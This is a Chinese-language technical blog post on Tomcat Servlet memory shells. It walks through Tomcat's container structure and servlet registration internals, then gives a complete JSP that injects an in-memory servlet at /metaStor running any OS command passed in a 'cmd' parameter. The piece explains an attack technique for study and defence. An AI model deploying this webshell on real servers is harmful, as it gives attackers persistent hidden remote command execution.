Servlet内存马

1. 何谓内存马?

以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。

Java内存shell有很多种,大致分为:

1. 动态注册filter

2. 动态注册servlet

3. 动态注册listener

4. 基于Java agent拦截修改关键类字节码实现内存shell

该文主要研究Servlet内存马的原理和实现。

2. 何为Servlet?

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。 

Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)

Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)

Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。

Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。 

Servlet内存马_第1张图片

看一个Tomcat的基本结构:

Servlet内存马_第2张图片

Webapps 对应的就是 Host 组件,ROOT 和 example 对应的就是 Context 组件(Web应用),每个Context内包含Wrapper,Wrapper 负责管理容器内的 Servlet:

Servlet内存马_第3张图片

3. Servlet Demo

Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):

Servlet内存马_第4张图片

我们自己写一个Servlet实现类ServletDemo,主要实现service方法:

Servlet内存马_第5张图片

其中,对应的web.xml如下配置:



    servletDemo
    com.java.Memory.ServletDemo
    
        contextConfigLocation
        WEB-INF/dispatcher-servlet.xml
    


    servletDemo
    /servlet

看到这里是不是特别像一个内存shell的存在?(只不过少了个执行参数cmd的实现过程,滑稽.jpg)区别于注入内存shell,这里是在tomcat启动前就在web.xml中配置好了servlet。

4. 注入Servlet

从前面的Servlet Demo可以看到,Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
要注入servlet,就需要在tomcat启动之后动态添加Servlet。Tomcat7之后的版本,在StandardContext中提供了动态添加Servlet类的方法:

Servlet内存马_第6张图片

根据Tomcat文档可知:

Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

值得一提的是,在 org.apache.catalina.core.StandardContext#startInternal()中表明了Tomcat启动加载的顺序:Listener -> Filter -> Servlet

protected synchronized void startInternal() throws LifecycleException {
......
            if(ok && !this.listenerStart()) {
                log.error(sm.getString("standardContext.listenerFail"));
                ok = false;
            }

            if(ok) {
                this.checkConstraintsForUncoveredMethods(this.findConstraints());
            }

            try {
                Manager manager = this.getManager();
                if(manager instanceof Lifecycle) {
                    ((Lifecycle)manager).start();
                }
            } catch (Exception var18) {
                log.error(sm.getString("standardContext.managerFail"), var18);
                ok = false;
            }

            if(ok && !this.filterStart()) {
                log.error(sm.getString("standardContext.filterFail"));
                ok = false;
            }

            if(ok && !this.loadOnStartup(this.findChildren())) {
                log.error(sm.getString("standardContext.servletFail"));
                ok = false;
            }

            super.threadStart();
......

Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)。

 4.1 Servlet 生成与配置

如何创建一个Wapper,并配置好Servlet进行动态添加呢?

首先得有一个创建Wapper实例的东西,这里可以从StandardContext.createWapper()获得一个Wapper对象:

Servlet内存马_第7张图片

前面说到过,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象。

接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点,Debug运行服务:

Servlet内存马_第8张图片

追溯到上一级configureStart,开始配置webconfig:

Servlet内存马_第9张图片

webConfig() 中读取了 web.xml:

Servlet内存马_第10张图片

然后根据 web.xml 配置 context:

Servlet内存马_第11张图片

configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分:

Servlet内存马_第12张图片

使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name。

Servlet内存马_第13张图片

接着配置了Servlet的Class。

Servlet内存马_第14张图片

最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了(对应web.xml中的):

Servlet内存马_第15张图片

 取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。跟进到addServletMappingDecoded()方法的StandardContext类中,发现addServletMappingDecoded()和addServletMapping()是一样的,只不过后者是不建议使用(某些低版本的Tomcat可以尝试使用):

Servlet内存马_第16张图片

总结一下,Servlet的生成与动态添加依次进行了以下步骤:

1. 通过 context.createWapper() 创建 Wapper 对象;

2. 设置 Servlet 的 LoadOnStartUp 的值;

3. 设置 Servlet 的 Name;

4. 设置 Servlet 对应的 Class;

5. 将 Servlet 添加到 context 的 children 中;

6. 将 url 路径和 servlet 类做映射。

4.2 Servlet 装载过程

配置好一个Servlet Demo,并在 org.apache.catalina.coreStandardWapper#loadServlet() 下断点调试:

Servlet内存马_第17张图片

回溯到 org.apache.catalina.core.StandardContext#startInternal方法中可以看到,是在加载完Listener和Filter之后,才装载Servlet:

Servlet内存马_第18张图片

前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数:

Servlet内存马_第19张图片

Servlet内存马_第20张图片

首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,删选出 >= 0 的项加载到一个存放Wapper的list中。

每个Servlet的启动顺序在web.xml中声明:

   
   
        servletDemo
        com.java.Memory.ServletDemo
       
            contextConfigLocation
            WEB-INF/dispatcher-servlet.xml
       

        1
   

   
        servletDemo
        /servlet
   

如果没有声明 load-on-startup 属性(默认为-1):

Servlet内存马_第21张图片

则该Servlet不会被动态添加到容器:

Servlet内存马_第22张图片

然后对每个wapper进行装载:

Servlet内存马_第23张图片

装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作: 

装载:启动服务器时加载Servlet的实例

初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成

调用:即每次调用Servlet的service(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGet、doPost内部实现,具体参照HttpServlet类service()的重写)

销毁:停止服务器时调用destroy()方法,销毁实例

5. 简单的Servlet内存马

首先写一个 Servlet 恶意类,实现为 service() 方法:

<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };
%>

之后获取到 StandardContext:

<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

根据之前研究的,按照步骤添加Servlet:

<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

最后将 URL 路径与 Servlet 恶意类做映射:

<%
    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/metaStor", name);
%>

保存jsp为 rce_servlet.jsp。

注入前:

Servlet内存马_第24张图片

注入,访问 rce_servlet.jsp:

Servlet内存马_第25张图片

注入后:

Servlet内存马_第26张图片

你可能感兴趣的:(MemoryShell,servlet内存马)